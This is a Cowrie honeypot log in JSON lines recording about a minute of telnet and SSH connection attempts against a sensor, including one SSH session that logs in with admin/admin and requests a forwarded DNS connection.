{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":47992,"dst_ip":"159.203.135.109","dst_port":23,"session":"af94b958732a","protocol":"telnet","message":"New connection: 146.19.248.24:47992 (159.203.135.109:23) [session: af94b958732a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:27.388891Z"}
{"eventid":"cowrie.session.closed","duration":30.507346868515015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:27.447423Z","src_ip":"146.19.248.24","session":"fa398ab945ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a0a1e494f7f","protocol":"telnet","message":"New connection: 45.87.43.158:55832 (159.203.135.109:23) [session: 7a0a1e494f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:29.377551Z"}
{"eventid":"cowrie.session.closed","duration":31.102161645889282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:29.619460Z","src_ip":"45.87.43.158","session":"2335cbd6330e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772806406021118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:31.459363Z","src_ip":"136.144.203.5","session":"92ca3e823faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829580783843994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:32.063351Z","src_ip":"45.87.43.158","session":"e87a3221562a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":42708,"dst_ip":"159.203.135.109","dst_port":23,"session":"a690e02299e3","protocol":"telnet","message":"New connection: 45.87.43.158:42708 (159.203.135.109:23) [session: a690e02299e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:32.717640Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":48000,"dst_ip":"159.203.135.109","dst_port":23,"session":"13926231f2eb","protocol":"telnet","message":"New connection: 146.19.248.24:48000 (159.203.135.109:23) [session: 13926231f2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:32.931613Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":42720,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aea7bd7902f","protocol":"telnet","message":"New connection: 45.87.43.158:42720 (159.203.135.109:23) [session: 0aea7bd7902f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:33.395758Z"}
{"eventid":"cowrie.session.closed","duration":31.507290601730347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:33.780308Z","src_ip":"45.87.43.158","session":"b57396790d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.20.90.17","src_port":10919,"dst_ip":"159.203.135.109","dst_port":23,"session":"16923dec3e3c","protocol":"telnet","message":"New connection: 157.20.90.17:10919 (159.203.135.109:23) [session: 16923dec3e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:34.012698Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":42730,"dst_ip":"159.203.135.109","dst_port":23,"session":"16beeefdb6d2","protocol":"telnet","message":"New connection: 45.87.43.158:42730 (159.203.135.109:23) [session: 16beeefdb6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:34.927803Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":45704,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ce7be4a69e","protocol":"telnet","message":"New connection: 103.157.135.60:45704 (10.17.0.5:23) [session: d1ce7be4a69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:35.290205Z"}
{"eventid":"cowrie.session.closed","duration":31.054437398910522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:35.296474Z","src_ip":"136.144.203.5","session":"eb7b565c9c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":42740,"dst_ip":"159.203.135.109","dst_port":23,"session":"e04a55b6ac7b","protocol":"telnet","message":"New connection: 45.87.43.158:42740 (159.203.135.109:23) [session: e04a55b6ac7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:35.794910Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":42746,"dst_ip":"159.203.135.109","dst_port":23,"session":"62c7f97c9293","protocol":"telnet","message":"New connection: 45.87.43.158:42746 (159.203.135.109:23) [session: 62c7f97c9293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:36.575139Z"}
{"eventid":"cowrie.session.closed","duration":30.93944478034973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:37.087817Z","src_ip":"146.19.248.24","session":"2ed67ad44ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9435076713562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:37.128798Z","src_ip":"45.87.43.158","session":"b33e0c40943f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809715747833252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:37.182567Z","src_ip":"45.87.43.158","session":"c5a7a92e3f27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97327160835266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:38.070878Z","src_ip":"45.87.43.158","session":"2e4af6d922b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":42754,"dst_ip":"159.203.135.109","dst_port":23,"session":"671bd6318cbc","protocol":"telnet","message":"New connection: 45.87.43.158:42754 (159.203.135.109:23) [session: 671bd6318cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:39.583409Z"}
{"eventid":"cowrie.session.closed","duration":31.52339267730713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:39.625494Z","src_ip":"136.144.203.5","session":"94699e826256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":42764,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb3d93190ca","protocol":"telnet","message":"New connection: 45.87.43.158:42764 (159.203.135.109:23) [session: bbb3d93190ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:39.650249Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54530,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e35e05c3895","protocol":"telnet","message":"New connection: 103.157.135.60:54530 (10.17.0.5:23) [session: 7e35e05c3895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:40.225322Z"}
{"eventid":"cowrie.session.closed","duration":30.709336757659912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:42.122220Z","src_ip":"45.87.43.158","session":"4203a7a44e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.485344171524048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:43.034768Z","src_ip":"136.144.203.5","session":"1696f0fdc8a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51943612098694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:43.071508Z","src_ip":"136.144.203.5","session":"553ee19297c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84680724143982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:43.271599Z","src_ip":"136.144.203.5","session":"1c5dd71d3df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":35452,"dst_ip":"159.203.135.109","dst_port":23,"session":"210aad06377e","protocol":"telnet","message":"New connection: 136.144.203.5:35452 (159.203.135.109:23) [session: 210aad06377e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:44.146888Z"}
{"eventid":"cowrie.session.closed","duration":30.79189705848694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:44.727857Z","src_ip":"103.157.135.60","session":"0ce922c2e3a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.604442834854126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:45.058227Z","src_ip":"136.144.203.5","session":"ecf85f493603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":55090,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a526c1aa41","protocol":"telnet","message":"New connection: 45.87.43.158:55090 (159.203.135.109:23) [session: e8a526c1aa41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:45.299988Z"}
{"eventid":"cowrie.session.closed","duration":38.8310968875885,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:45.708477Z","src_ip":"139.162.207.207","session":"620715b38066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47532343864441,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:46.032383Z","src_ip":"136.144.203.5","session":"d9bf8225ee11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84360909461975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:46.713028Z","src_ip":"45.87.43.158","session":"9d313d40826c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.528075933456421,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:47.540669Z","src_ip":"157.20.90.17","session":"16923dec3e3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":44104,"dst_ip":"10.17.0.5","dst_port":23,"session":"fae4d88c17f7","protocol":"telnet","message":"New connection: 103.157.135.60:44104 (10.17.0.5:23) [session: fae4d88c17f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:47.589465Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":45534,"dst_ip":"10.17.0.5","dst_port":23,"session":"4039e6122431","protocol":"telnet","message":"New connection: 103.157.135.60:45534 (10.17.0.5:23) [session: 4039e6122431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:48.196404Z"}
{"eventid":"cowrie.session.closed","duration":31.334880113601685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:49.691857Z","src_ip":"103.157.135.60","session":"176f830bb4ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":55104,"dst_ip":"159.203.135.109","dst_port":23,"session":"82962afee76c","protocol":"telnet","message":"New connection: 45.87.43.158:55104 (159.203.135.109:23) [session: 82962afee76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:49.697157Z"}
{"eventid":"cowrie.session.closed","duration":30.529189586639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:49.708622Z","src_ip":"103.157.135.60","session":"192142d6c5bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":55108,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ebbd623b905","protocol":"telnet","message":"New connection: 45.87.43.158:55108 (159.203.135.109:23) [session: 7ebbd623b905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:50.404118Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":55110,"dst_ip":"159.203.135.109","dst_port":23,"session":"6101497e37e0","protocol":"telnet","message":"New connection: 45.87.43.158:55110 (159.203.135.109:23) [session: 6101497e37e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:50.634781Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":49292,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa2440f8de29","protocol":"telnet","message":"New connection: 103.157.135.60:49292 (10.17.0.5:23) [session: aa2440f8de29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:51.040540Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":55124,"dst_ip":"159.203.135.109","dst_port":23,"session":"65292fbb1d82","protocol":"telnet","message":"New connection: 45.87.43.158:55124 (159.203.135.109:23) [session: 65292fbb1d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:51.526040Z"}
{"eventid":"cowrie.session.closed","duration":34.18453860282898,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:51.662595Z","src_ip":"139.162.207.207","session":"d10562e9d960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.291277170181274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:52.586855Z","src_ip":"45.87.43.158","session":"a1abb89d7dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.782734870910645,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:52.653443Z","src_ip":"209.126.87.217","session":"27eba5bd587f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725586414337158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:53.336664Z","src_ip":"146.19.248.24","session":"b8beacc3237f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.461273431777954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.107810Z","src_ip":"45.87.43.158","session":"ad48137a5fec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5092,"dst_ip":"10.17.0.5","dst_port":22,"session":"601fe2f1cbdc","protocol":"ssh","message":"New connection: 87.251.64.176:5092 (10.17.0.5:22) [session: 601fe2f1cbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.384006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.388576Z","src_ip":"87.251.64.176","session":"601fe2f1cbdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.484851Z","src_ip":"87.251.64.176","session":"601fe2f1cbdc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.773303Z","src_ip":"87.251.64.176","session":"601fe2f1cbdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":59268,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f73a64db7f2","protocol":"telnet","message":"New connection: 103.157.135.60:59268 (10.17.0.5:23) [session: 1f73a64db7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.836827Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.873044Z","session":"601fe2f1cbdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:54.971182Z","src_ip":"87.251.64.176","session":"601fe2f1cbdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:55.070460Z","src_ip":"87.251.64.176","session":"601fe2f1cbdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.227579593658447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:55.130425Z","src_ip":"136.144.203.5","session":"ecc8cf1b1ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":51246,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d1107e4e3b","protocol":"telnet","message":"New connection: 139.162.207.207:51246 (10.17.0.5:23) [session: 47d1107e4e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:55.378935Z"}
{"eventid":"cowrie.session.closed","duration":30.898550033569336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:55.777874Z","src_ip":"146.19.248.24","session":"46d860a6aa64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":44206,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec605a16c5c","protocol":"telnet","message":"New connection: 45.87.43.158:44206 (159.203.135.109:23) [session: aec605a16c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:56.264667Z"}
{"eventid":"cowrie.session.closed","duration":30.407262325286865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:56.689413Z","src_ip":"103.157.135.60","session":"b3fb2706fe3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938501596450806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:56.694237Z","src_ip":"103.157.135.60","session":"88e52f3434a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":44216,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d6128cb341","protocol":"telnet","message":"New connection: 45.87.43.158:44216 (159.203.135.109:23) [session: 56d6128cb341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:58.678165Z"}
{"eventid":"cowrie.session.closed","duration":31.51882004737854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:58.907588Z","src_ip":"146.19.248.24","session":"af94b958732a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":44226,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dd56d716d97","protocol":"telnet","message":"New connection: 45.87.43.158:44226 (159.203.135.109:23) [session: 2dd56d716d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:58.949589Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":44228,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d743500c21","protocol":"telnet","message":"New connection: 45.87.43.158:44228 (159.203.135.109:23) [session: 19d743500c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:47:59.825871Z"}
{"eventid":"cowrie.session.closed","duration":37.057732582092285,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:00.146950Z","src_ip":"139.162.207.207","session":"e034ac4d111a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226573944091797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:00.604028Z","src_ip":"45.87.43.158","session":"7a0a1e494f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":44916,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce9b6915ff5","protocol":"telnet","message":"New connection: 136.144.203.5:44916 (159.203.135.109:23) [session: 2ce9b6915ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:00.809650Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":36738,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b83e1a3b6af","protocol":"telnet","message":"New connection: 45.87.43.158:36738 (159.203.135.109:23) [session: 6b83e1a3b6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:02.909887Z"}
{"eventid":"cowrie.session.closed","duration":30.412369966506958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:03.129894Z","src_ip":"45.87.43.158","session":"a690e02299e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040327548980713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:03.971843Z","src_ip":"146.19.248.24","session":"13926231f2eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72685980796814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:04.122513Z","src_ip":"45.87.43.158","session":"0aea7bd7902f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":36744,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff3d2b642d92","protocol":"telnet","message":"New connection: 45.87.43.158:36744 (159.203.135.109:23) [session: ff3d2b642d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:04.325300Z"}
